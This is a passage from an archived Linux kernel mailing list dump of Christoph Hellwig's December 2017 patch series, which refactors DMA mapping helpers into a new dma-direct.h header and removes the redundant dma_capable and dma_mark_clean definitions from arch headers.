index d9a9e9fc75dd..764b916ef7da 100644
--- a/arch/x86/mm/mem_encrypt.c
+++ b/arch/x86/mm/mem_encrypt.c
@@ -15,7 +15,7 @@
 #include <linux/linkage.h>
 #include <linux/init.h>
 #include <linux/mm.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/swiotlb.h>
 #include <linux/mem_encrypt.h>
 
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 53d600217973..75577c1490c4 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -26,6 +26,7 @@
 #include <linux/pci_ids.h>
 #include <linux/export.h>
 #include <linux/list.h>
+#include <linux/dma-direct.h>
 #include <asm/iommu.h>
 
 #define STA2X11_SWIOTLB_SIZE (4*1024*1024)
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 153bf2370988..44098800dad7 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -23,14 +23,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &xtensa_dma_map_ops;
 }
 
-static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
-{
-	return (dma_addr_t)paddr;
-}
-
-static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t daddr)
-{
-	return (phys_addr_t)daddr;
-}
-
 #endif	/* _XTENSA_DMA_MAPPING_H */
diff --git a/drivers/crypto/marvell/cesa.c b/drivers/crypto/marvell/cesa.c
index 293832488cc9..3a0c40081ffb 100644
--- a/drivers/crypto/marvell/cesa.c
+++ b/drivers/crypto/marvell/cesa.c
@@ -24,6 +24,7 @@
 #include <linux/scatterlist.h>
 #include <linux/slab.h>
 #include <linux/module.h>
+#include <linux/dma-direct.h> /* XXX: drivers shall never use this directly! */
 #include <linux/clk.h>
 #include <linux/of.h>
 #include <linux/of_platform.h>
diff --git a/drivers/mtd/nand/qcom_nandc.c b/drivers/mtd/nand/qcom_nandc.c
index 2656c1ac5646..411cdfd12a85 100644
--- a/drivers/mtd/nand/qcom_nandc.c
+++ b/drivers/mtd/nand/qcom_nandc.c
@@ -23,6 +23,7 @@
 #include <linux/of_device.h>
 #include <linux/delay.h>
 #include <linux/dma/qcom_bam_dma.h>
+#include <linux/dma-direct.h> /* XXX: drivers shall never use this directly! */
 
 /* NANDc reg offsets */
 #define	NAND_FLASH_CMD			0x00
diff --git a/drivers/xen/swiotlb-xen.c b/drivers/xen/swiotlb-xen.c
index 82fc54f8eb77..5bb72d3f8337 100644
--- a/drivers/xen/swiotlb-xen.c
+++ b/drivers/xen/swiotlb-xen.c
@@ -36,7 +36,7 @@
 #define pr_fmt(fmt) "xen:" KBUILD_MODNAME ": " fmt
 
 #include <linux/bootmem.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/export.h>
 #include <xen/swiotlb-xen.h>
 #include <xen/page.h>
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
new file mode 100644
index 000000000000..2cc1b6558944
--- /dev/null
+++ b/include/linux/dma-direct.h
@@ -0,0 +1,32 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_DMA_DIRECT_H
+#define _LINUX_DMA_DIRECT_H 1
+
+#include <linux/dma-mapping.h>
+
+#ifdef CONFIG_ARCH_HAS_PHYS_TO_DMA
+#include <asm/dma-direct.h>
+#else
+static inline dma_addr_t phys_to_dma(struct device *dev, phys_addr_t paddr)
+{
+	dma_addr_t dev_addr = (dma_addr_t)paddr;
+
+	return dev_addr - ((dma_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
+}
+
+static inline phys_addr_t dma_to_phys(struct device *dev, dma_addr_t dev_addr)
+{
+	phys_addr_t paddr = (phys_addr_t)dev_addr;
+
+	return paddr + ((phys_addr_t)dev->dma_pfn_offset << PAGE_SHIFT);
+}
+
+static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
+{
+	if (!dev->dma_mask)
+		return false;
+
+	return addr + size - 1 <= *dev->dma_mask;
+}
+#endif /* !CONFIG_ARCH_HAS_PHYS_TO_DMA */
+#endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index cea19aaf303c..6583f3512386 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -18,7 +18,7 @@
  */
 
 #include <linux/cache.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-direct.h>
 #include <linux/mm.h>
 #include <linux/export.h>
 #include <linux/spinlock.h>
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 12/67] s390: remove the unused dma_capable helper
Date: Fri, 29 Dec 2017 09:18:16 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20171229081911.2802-13-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514535515 25647 195.159.176.226 (29 Dec 2017 08:18:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:35 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Dec 29 09:18:30 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eUps1-00064a-DV
	for glki-iommu@m.gmane.org; Fri, 29 Dec 2017 09:18:25 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 42DC08A5;
	Fri, 29 Dec 2017 08:20:14 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 2588C8A5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:13 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id D04B9108
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 29 Dec 2017 08:20:12 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=m0FQ4a4ZxoB2cHk6bXDHjO6pdh6D5z/ak3wK1MTP8hI=;
	b=F/MAg1tjBlUcbpZdwPZaoQuto
	gcsvXC4CxvlVksDMlhD7m34THsENo/MWPziseph65r8GIOVW2xwgiZTEOFvHzjj4SHv/e3TyGwXyI
	xdQIBXu2QoE7bz+muJU562GIjclYust0f+gJSRZI27qBUdHktaUj5kPDcRfPGMMVWWaqK9Jgm1QmN
	qlWDNtTB0Sp8YV9zO1JnD/NDvTZbdzRZ6CLLp2RojKlvQE7rlnkJiP+qMCe8k4XEZ/u6PgYzOKXBk
	u7JdJEl1SYKMsoHcwliFIkpXTDVsQgXWmT+CbQ/xMWpaQzjyyi8BfXO0EAwtOTMvVV0zd7yOFipZ3
	CHw8ZYYFg==;
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eUpth-0000PA-Cc; Fri, 29 Dec 2017 08:20:10 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21890 gmane.linux.ports.mips.general:62933 gmane.linux.ports.ia64:28400 gmane.linux.ports.sh.devel:56046 gmane.linux.ports.sparc:27053 gmane.linux.kernel.cross-arch:40793 gmane.linux.ports.hexagon:1410 gmane.linux.kernel.arc:3178 gmane.linux.kernel.metag:1484 gmane.linux.ports.arm.kernel:622903 gmane.linux.ports.parisc:28075 gmane.linux.kernel:2654219 gmane.linux.ports.alpha:4557 gmane.linux.ports.ppc64.devel:151507
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21890>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/s390/include/asm/dma-mapping.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index eaf490f9c5bc..2ec7240c1ada 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -16,11 +16,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif /* _ASM_S390_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 14/67] dma-mapping: move dma_mark_clean to dma-direct.h
Date: Fri, 29 Dec 2017 09:18:18 +0100
Lines: 153
Approved: news@gmane.org
Message-ID: <20171229081911.2802-15-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535521 26793 195.159.176.226 (29 Dec 2017 08:18:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:41 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-hexagon-owner@vger.kernel.org Fri Dec 29 09:18:36 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-hexagon-owner@vger.kernel.org>)
	id 1eUps5-0005z8-6U
	for glphk-linux-hexagon@m.gmane.org; Fri, 29 Dec 2017 09:18:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755881AbdL2IU3 (ORCPT <rfc822;glphk-linux-hexagon@m.gmane.org>);
        Fri, 29 Dec 2017 03:20:29 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:50410 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755817AbdL2IU1 (ORCPT
        <rfc822;linux-hexagon@vger.kernel.org>);
        Fri, 29 Dec 2017 03:20:27 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=tzFVDkvEhJ6GFKEEmSa4/0NCd//iDA91jkWmMtMH0ps=; b=HipfZJNCs65i/tZxxKl2/+cMC
        k1dz89YolQRSvGlKEWqFH8yBWQ2NM1KPv6jF/qFAZxa7wTKW53JrVFmPsAjoaMZLk5Q6yzGnJIlOb
        EbrJ7bTT/X5Kajn0/x/4suSAPnn5NaVFHo79qirLhfTgA+m7SfJTN+D5ffXYmYkNSdmT2njIbNCNh
        qqOoVZDJozduH7A/mCtJvqVpnoVBQ3VSHbRMiu48j8xHVwVnLtiBiTxlK/JmIUXTbWWXAWB/m+OPy
        7BnjH3R1TkKOWftinyaNDIwvL6DmTDoHBKBkBMQaSJ1mhaKTAX+vjAp4ugNIo3cY9oTnX5rfRPz4T
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUptr-0000gR-AN; Fri, 29 Dec 2017 08:20:19 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-hexagon-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-hexagon.vger.kernel.org>
X-Mailing-List: linux-hexagon@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.hexagon:1411 gmane.linux.kernel.iommu:21891 gmane.linux.ports.alpha:4558 gmane.linux.kernel.arc:3179 gmane.linux.ports.arm.kernel:622904 gmane.linux.ports.ia64:28401 gmane.linux.kernel.metag:1485 gmane.linux.ports.mips.general:62934 gmane.linux.ports.parisc:28076 gmane.linux.ports.ppc64.devel:151508 gmane.linux.ports.sh.devel:56047 gmane.linux.ports.sparc:27054 gmane.linux.kernel.cross-arch:40794 gmane.linux.kernel:2654220
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.hexagon/1411>

And unlike the other helpers we don't require a <asm/dma-direct.h> as
this helper is a special case for ia64 only, and this keeps it as
simple as possible.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm/include/asm/dma-mapping.h       | 2 --
 arch/arm64/include/asm/dma-mapping.h     | 4 ----
 arch/ia64/Kconfig                        | 1 +
 arch/ia64/include/asm/dma.h              | 2 --
 arch/mips/include/asm/dma-mapping.h      | 2 --
 arch/powerpc/include/asm/swiotlb.h       | 2 --
 arch/tile/include/asm/dma-mapping.h      | 2 --
 arch/unicore32/include/asm/dma-mapping.h | 2 --
 arch/x86/include/asm/swiotlb.h           | 2 --
 include/linux/dma-direct.h               | 9 +++++++++
 10 files changed, 10 insertions(+), 18 deletions(-)

diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index 5fb1b7fbdfbe..e5d9020c9ee1 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -109,8 +109,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) { }
-
 /**
  * arm_dma_alloc - allocate consistent memory for DMA
  * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 400fa67d3b5a..b7847eb8a7bb 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -50,9 +50,5 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size)
-{
-}
-
 #endif	/* __KERNEL__ */
 #endif	/* __ASM_DMA_MAPPING_H */
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 49583c5a5d44..4d18fca885ee 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -33,6 +33,7 @@ config IA64
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_VIRT_CPU_ACCOUNTING
+	select ARCH_HAS_DMA_MARK_CLEAN
 	select ARCH_HAS_SG_CHAIN
 	select VIRT_TO_BUS
 	select ARCH_DISCARD_MEMBLOCK
diff --git a/arch/ia64/include/asm/dma.h b/arch/ia64/include/asm/dma.h
index 186850eec934..23604d6a2cb2 100644
--- a/arch/ia64/include/asm/dma.h
+++ b/arch/ia64/include/asm/dma.h
@@ -20,6 +20,4 @@ extern unsigned long MAX_DMA_ADDRESS;
 
 #define free_dma(x)
 
-void dma_mark_clean(void *addr, size_t size);
-
 #endif /* _ASM_IA64_DMA_H */
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 676c14cfc580..886e75a383f2 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -17,8 +17,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return mips_dma_map_ops;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #define arch_setup_dma_ops arch_setup_dma_ops
 static inline void arch_setup_dma_ops(struct device *dev, u64 dma_base,
 				      u64 size, const struct iommu_ops *iommu,
diff --git a/arch/powerpc/include/asm/swiotlb.h b/arch/powerpc/include/asm/swiotlb.h
index 01d45a5fd00b..9341ee804d19 100644
--- a/arch/powerpc/include/asm/swiotlb.h
+++ b/arch/powerpc/include/asm/swiotlb.h
@@ -15,8 +15,6 @@
 
 extern const struct dma_map_ops swiotlb_dma_ops;
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 extern unsigned int ppc_swiotlb_enable;
 int __init swiotlb_setup_bus_notifier(void);
 
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 75b8aaa4e70b..d25fce101fc0 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -44,8 +44,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 	dev->archdata.dma_offset = off;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 int dma_set_mask(struct device *dev, u64 mask);
 
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index 5cb250bf2d8c..f2bfec273aa7 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -25,7 +25,5 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &swiotlb_dma_map_ops;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #endif /* __KERNEL__ */
 #endif
diff --git a/arch/x86/include/asm/swiotlb.h b/arch/x86/include/asm/swiotlb.h
index bdf9aed40403..1c6a6cb230ff 100644
--- a/arch/x86/include/asm/swiotlb.h
+++ b/arch/x86/include/asm/swiotlb.h
@@ -28,8 +28,6 @@ static inline void pci_swiotlb_late_init(void)
 }
 #endif
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 extern void *x86_swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 					dma_addr_t *dma_handle, gfp_t flags,
 					unsigned long attrs);
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 2cc1b6558944..10e924b7cba7 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -29,4 +29,13 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 	return addr + size - 1 <= *dev->dma_mask;
 }
 #endif /* !CONFIG_ARCH_HAS_PHYS_TO_DMA */
+
+#ifdef CONFIG_ARCH_HAS_DMA_MARK_CLEAN
+void dma_mark_clean(void *addr, size_t size);
+#else
+static inline void dma_mark_clean(void *addr, size_t size)
+{
+}
+#endif /* CONFIG_ARCH_HAS_DMA_MARK_CLEAN */
+
 #endif /* _LINUX_DMA_DIRECT_H */
-- 
2.14.2


From - Thu Nov 08 21:40:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Fri, 29 Dec 2017 09:18:20 +0100
Lines: 536
Approved: news@gmane.org
Message-ID: <20171229081911.2802-17-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535528 28083 195.159.176.226 (29 Dec 2017 08:18:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:18:48 +0000 (UTC)
Cc: linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
        linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
        linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
        patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Dec 29 09:18:42 2017
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eUpsG-0006kq-UI
	for glkm-linux-metag@m.gmane.org; Fri, 29 Dec 2017 09:18:41 +0100
